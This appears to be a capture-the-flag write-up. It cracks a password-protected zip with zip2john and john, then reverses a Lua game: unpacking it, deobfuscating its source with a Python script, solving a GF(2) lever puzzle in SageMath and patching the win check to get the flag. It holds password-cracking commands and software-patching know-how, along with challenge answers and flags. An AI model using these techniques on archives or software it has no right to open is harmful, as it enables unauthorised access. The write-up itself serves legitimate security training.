{"bottle":"Now, tell me, ye scallywag, what fruit did that tree bear?", "treasure": "UEsDBDMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAAsAZmxhZy50eHQBmQcAAgBBRQMIAFhOyFF8J1TyG2doQcYvrgzortHSCGMNxMshPDobNzagEPb3jVJi8820aRecsizN1F01EToNfBXNYLUo7v4irZDLka8iLR9HfkY0xgT+GE/9MxamvgIZHDogalBLAQI/ADMAAQBjAAO9WFoAAAAAWgAAAEUAAAAIAC8AAAAAAAAAIAAAAAAAAABmbGFnLnR4dAoAIAAAAAAAAQAYAEVPEqsEh9sBAAAAAAAAAAAAAAAAAAAAAAGZBwACAEFFAwgAUEsFBgAAAAABAAEAZQAAAIsAAAAAAA=="}

Base64 decrypt to see it’s a zip, then crack the passwords with John.

~/john/run/zip2john xd.zip > hash.txt
john hash.txt

The password was banana and it gave us the flag CTF{1f8915fa52fbf862ba636d69f39427dd8aeb4a9e7b28afc5a36fd70d6db580ac}

world-of-flags: Rev

We receive a game, loading it with gdb, we see it unpacks some values in /tmp

x

Copying the unpacked values and running binwalk on the new binary SuperGame, we can see it contains the source code for the app.

levels.lua was heavily obfuscated with binary operations like bit.bxor(2448, 2532) and normal maths operations, so I made a custom parser to decrypt

import re

def decode_addition(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a + b
    return str(result)
def decode_band(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a & b
    return str(result)
def decode_bor(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a | b
    return str(result)
def decode_lshift(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a << b
    return str(result)
def decode_multiplication(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a * b
    return str(result)
def decode_rshift(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a >> b
    return str(result)
def decode_subtraction(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a - b
    return str(result)
def decode_bxor(match):
    a = int(match.group(1))
    b = int(match.group(2))
    result = a ^ b 
    return str(result)
def decode_lua_string_custom(s):
    s = s.strip('"')
    s = re.sub(r'\\x([0-9A-Fa-f]{2})', lambda m: chr(int(m.group(1), 16)), s)
    s = re.sub(r'\\(\d{1,3})', lambda m: chr(int(m.group(1), 10)), s)
    return s
def decode_concatenated_string(match):
    string_literals = re.findall(r'"((?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])+)"', match.group(0))
    decoded = ''.join(decode_lua_string_custom('"' + part + '"') for part in string_literals)
    return '"' + decoded + '"'
def decode_string_char(match):
    numbers_str = match.group(1)
    numbers = [int(x.strip()) for x in numbers_str.split(',') if x.strip()]
    decoded = ''.join(chr(num) for num in numbers)
    return '"' + decoded + '"'


with open('levels.lua', 'r') as infile:
    content = infile.read()

pattern_addition = re.compile(r'\(\s*(\d+)\s*\+\s*(\d+)\s*\)')
pattern_band = re.compile(r'bit\.band\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_bor = re.compile(r'bit\.bor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_lshift = re.compile(r'bit\.lshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_multiplication = re.compile(r'\(\s*(\d+)\s*\*\s*(\d+)\s*\)')
pattern_rshift = re.compile(r'bit\.rshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_subtraction = re.compile(r'\(\s*(\d+)\s*-\s*(\d+)\s*\)')
pattern_bxor = re.compile(r'bit\.bxor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_string_custom = re.compile(
    r'(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*")'
    r'(?:\s*\.\.\s*(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*"))+'
)
#pattern_string_char = re.compile(r'_G\["string"\]\["char"\]\(\s*([\d,\s]+)\s*\)')
for i in range(30):
    content = pattern_addition.sub(decode_addition, content)
    content = pattern_band.sub(decode_band, content)
    content = pattern_bor.sub(decode_bor, content)
    content = pattern_lshift.sub(decode_lshift, content)
    content = pattern_multiplication.sub(decode_multiplication, content)
    content = pattern_rshift.sub(decode_rshift, content)
    content = pattern_subtraction.sub(decode_subtraction, content)
    content = pattern_bxor.sub(decode_bxor, content)
    content = pattern_string_custom.sub(decode_concatenated_string, content)
    #content = pattern_string_char.sub(decode_string_char, content)

with open('output.lua', 'w') as outfile:
    outfile.write(content)

We could see that for level 3, it implemented a system of equations that added the binary values of some levers under GF(2) and checked that each output is 1; for example, this was the first check

self.outputs[1] = ((self.levers[1].state and 1 or 0)+(self.levers[7].state and 1 or 0)+(self.levers[8].state and 1 or 0)+(self.levers[9].state and 1 or 0)+(self.levers[10].state and 1 or 0)+(self.levers[18].state and 1 or 0)+(self.levers[20].state and 1 or 0)+(self.levers[22].state and 1 or 0)+(self.levers[24].state and 1 or 0)+(self.levers[28].state and 1 or 0)+(self.levers[29].state and 1 or 0)+(self.levers[34].state and 1 or 0)+(self.levers[36].state and 1 or 0)+(self.levers[39].state and 1 or 0)+(self.levers[41].state and 1 or 0)+(self.levers[42].state and 1 or 0)+(self.levers[43].state and 1 or 0)+(self.levers[48].state and 1 or 0)+(self.levers[49].state and 1 or 0)+(self.levers[50].state and 1 or 0)+(self.levers[52].state and 1 or 0)+(self.levers[54].state and 1 or 0)+(self.levers[60].state and 1 or 0)+(self.levers[61].state and 1 or 0)+(self.levers[65].state and 1 or 0)+(self.levers[66].state and 1 or 0)+(self.levers[68].state and 1 or 0)+(self.levers[69].state and 1 or 0)+(self.levers[70].state and 1 or 0)+(self.levers[76].state and 1 or 0)+(self.levers[78].state and 1 or 0)+(self.levers[79].state and 1 or 0)+(self.levers[80].state and 1 or 0)+(self.levers[81].state and 1 or 0)+(self.levers[82].state and 1 or 0)+(self.levers[83].state and 1 or 0)+(self.levers[87].state and 1 or 0)+(self.levers[88].state and 1 or 0)+(self.levers[90].state and 1 or 0)+(self.levers[91].state and 1 or 0)+(self.levers[92].state and 1 or 0)+(self.levers[93].state and 1 or 0)+(self.levers[98].state and 1 or 0)+(self.levers[101].state and 1 or 0)+(self.levers[102].state and 1 or 0)+(self.levers[103].state and 1 or 0)+(self.levers[105].state and 1 or 0)+(self.levers[107].state and 1 or 0)+(self.levers[109].state and 1 or 0)+(self.levers[110].state and 1 or 0)+(self.levers[117].state and 1 or 0)+(self.levers[118].state and 1 or 0)+(self.levers[120].state and 1 or 0)+(self.levers[121].state and 1 or 0)+(self.levers[125].state and 1 or 0)+(self.levers[126].state and 1 or 0)+(self.levers[127].state and 1 or 0)+(self.levers[128].state and 1 or 0)) % 2

Since we are working under GF(2), we can easily solve this using solve_right from SageMath. Used the following script

#!/usr/bin/env sage -python
import re
from sage.all import GF, Matrix, vector

filename = "st2.txt"
output_pattern = re.compile(r"self\.outputs\[(\d+)\]\s*=")
lever_pattern = re.compile(r"self\.levers\[(\d+)\]\.state")
output_constraints = {}
with open(filename, "r") as f:
    for line in f:
        line = line.strip()
        if not line:
            continue
        out_match = output_pattern.search(line)
        output_index = int(out_match.group(1))
        lever_matches = lever_pattern.findall(line)
        lever_indices = [int(i) for i in lever_matches]
        output_constraints[output_index] = lever_indices


all_lever_indices = set()
for lever_list in output_constraints.values():
    all_lever_indices.update(lever_list)
all_lever_indices = sorted(all_lever_indices)


lever_to_col = {lever: idx for idx, lever in enumerate(all_lever_indices)}
num_eq = len(output_constraints)
num_vars = len(all_lever_indices)
F = GF(2)
rows = []
b = []
for eq in sorted(output_constraints.keys()):
    row = [0]*num_vars
    for lever in output_constraints[eq]:
        col = lever_to_col[lever]
        row[col] = 1
    rows.append(row)
    b.append(1)

A = Matrix(F, rows)
b_vec = vector(F, b)


try:
    sol = A.solve_right(b_vec)
    print("Solution found:")
    caca = []
    for lever, col in lever_to_col.items():
        print("lever {}: {}".format(lever, sol[col]))
        caca.append(sol[col])
    print(caca)
except Exception as e:
    print("No solution exists or error during solving:", e)

The key was [1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1]

Now, since static decryption of the flag didn’t work for me, I patched level 2 of the game in the source code so that the door appears instantly by making the score appear instantly and setting the required score to 1.

This was the original code (some segments cut off)

self.targetWizzards = 137


if wiz.dead then
    self.killedWizzards = self.killedWizzards + 1
    table.remove(self.wizzards, i)
    if self.killedWizzards >= self.targetWizzards then
        self.doorSpawned = (7200 == 7200)
        self.door.active = (4550 == 4550)
    end

And this was my patched code

self.targetWizzards = 0


self.killedWizzards = self.killedWizzards + 1
table.remove(self.wizzards, i)
if self.killedWizzards >= self.targetWizzards then
    self.doorSpawned = (7200 == 7200)
    self.door.active = (4550 == 4550)

Now I rebuilt the game using the love engine and placed the key manually to receive the flag.

x